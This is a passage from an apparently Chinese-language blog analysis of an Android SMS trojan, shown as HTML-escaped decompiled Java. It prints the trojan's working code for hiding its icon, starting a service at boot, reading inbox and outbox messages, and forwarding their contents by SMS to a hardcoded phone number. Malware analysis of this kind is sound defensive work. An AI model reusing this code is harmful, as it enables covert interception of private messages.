&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;---------&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;finish()&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;finish&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;就是简单的隐藏了程序的图标，没了。那他的工作是做什么的呢?&lt;/p&gt;
&lt;p&gt;我们发现了有个自动启动的代码，查看之：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BroadcastAutoBoot&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onReceive&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;paramIntent&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;收到开机广播===================================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;木马 killProcess==================================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;localIntent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;localIntent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setClass&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startService&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localIntent&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; startService成功==============================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;killProcess&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;myPid&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;每次开机都会启动ListenMessageService，然后杀掉自己的开机监听。很像病毒的做法。&lt;/p&gt;
&lt;p&gt;在这个服务中首先将会启动一个短信拦截服务：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt; &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000L&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;Looper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepare&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Sleep 3秒后--&amp;amp;gt;startForeground--&amp;amp;gt;registerContentObserver&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startForeground&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1378&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;notification&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="n"&gt;CustomApplication&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getApplication&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
      &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isReg&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;isReg--&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isReg&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getContentResolver&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;registerContentObserver&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Uri&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;content://sms&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SmsObserver&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SmsHandler&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;)));&lt;/span&gt;
        &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isReg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;SmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefault&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;【数据库截获】监控service启动&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="n"&gt;Looper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loop&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;localInterruptedException&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;localInterruptedException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;start&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后依旧是发短信告诉自己。&lt;/p&gt;
&lt;p&gt;然后添加一个推送在通知栏：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;onStartCommand&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;paramIntent&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;paramInt1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;paramInt2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;notification&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Notification&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;17301568&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;系统消息&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;PendingIntent&lt;/span&gt; &lt;span class="n"&gt;localPendingIntent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getActivity&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;notification&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setLatestEventInfo&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Help&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Running a Service in the Foreground&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;localPendingIntent&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onStartCommand&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paramIntent&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;paramInt2&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;目的是点击该通知去出发mainactivity来隐藏图标，因为每次开机都要隐藏嘛~&lt;/p&gt;
&lt;p&gt;然后就是最为关键的部分，以下代码包含了对短信的收件箱和发件箱短信的获取，拦截并且根据内容判定是否是指令短信（内容以#开头），最后将非指令非自己伪造的短信（FLAG=FLASE）发送到作者自己的手机上来。还对长短信进行分割：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;localSmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;localSmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;短信监听服务，当收件箱或者发件箱数目有改动的时候会调用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;private&lt;/span&gt; &lt;span class="nt"&gt;final&lt;/span&gt; &lt;span class="nt"&gt;class&lt;/span&gt; &lt;span class="nt"&gt;SmsObserver&lt;/span&gt; &lt;span class="nt"&gt;extends&lt;/span&gt; &lt;span class="nt"&gt;ContentObserver&lt;/span&gt;
 &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt;public&lt;/span&gt; &lt;span class="err"&gt;ListenMessageService.SmsHandler&lt;/span&gt; &lt;span class="err"&gt;smsHandler&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="err"&gt;public&lt;/span&gt; &lt;span class="err"&gt;SmsObserver(ListenMessageService.SmsHandler&lt;/span&gt; &lt;span class="err"&gt;arg2)&lt;/span&gt;
&lt;span class="err"&gt;{&lt;/span&gt;
  &lt;span class="err"&gt;super()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="err"&gt;this.smsHandler&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;localHandler&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="k"&gt;SuppressLint&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;UnlocalizedSms&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;SimpleDateFormat&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;public&lt;/span&gt; &lt;span class="nt"&gt;void&lt;/span&gt; &lt;span class="nt"&gt;onChange&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;boolean&lt;/span&gt; &lt;span class="nt"&gt;paramBoolean&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="err"&gt;System.out.println(&amp;quot;=====================================================&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="err"&gt;System.out.println(&amp;quot;木马进入ContentObserver，开始截获----------------------------&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="err"&gt;Cursor&lt;/span&gt; &lt;span class="err"&gt;localCursor1&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;ListenMessageService.this.getContentResolver().query(Uri.parse(&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;sms&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;), null, null, null, null);&lt;/span&gt;
&lt;span class="s2"&gt;  if (localCursor1 == null);&lt;/span&gt;
&lt;span class="s2"&gt;  Cursor localCursor2;&lt;/span&gt;
&lt;span class="s2"&gt;  do&lt;/span&gt;
&lt;span class="s2"&gt;  {&lt;/span&gt;
&lt;span class="s2"&gt;    return;&lt;/span&gt;
&lt;span class="s2"&gt;    do&lt;/span&gt;
&lt;span class="s2"&gt;    {&lt;/span&gt;
&lt;span class="s2"&gt;      System.out.println(&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;木马进入&lt;/span&gt;&lt;span class="n"&gt;SEND查询---------------------------------&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;);&lt;/span&gt;
&lt;span class="s2"&gt;      StringBuilder localStringBuilder2 = new StringBuilder();&lt;/span&gt;
&lt;span class="s2"&gt;      localStringBuilder2.append(&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;sendTo&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;).append(localCursor1.getString(localCursor1.getColumnIndex(&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;)));&lt;/span&gt;
&lt;span class="s2"&gt;      localStringBuilder2.append(&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;).append(localCursor1.getString(localCursor1.getColumnIndex(&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;)));&lt;/span&gt;
&lt;span class="s2"&gt;      SmsManager.getDefault().sendTextMessage(&amp;quot;&lt;/span&gt;&lt;span class="mi"&gt;18670259904&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;, null, &amp;quot;&lt;/span&gt;&lt;span class="err"&gt;【数据库截获】&lt;/span&gt;&lt;span class="n"&gt;SEND&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; + localStringBuilder2.toString(), null, null);&lt;/span&gt;
&lt;span class="s2"&gt;      System.out.println(&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;木马截获&lt;/span&gt;&lt;span class="n"&gt;SEND短信成功&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;&amp;amp;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;&amp;amp;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="err"&gt;localStringBuilder2.toString())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nt"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;moveToNext&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
    &lt;span class="nt"&gt;localCursor1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor1&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nt"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;localCursor1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
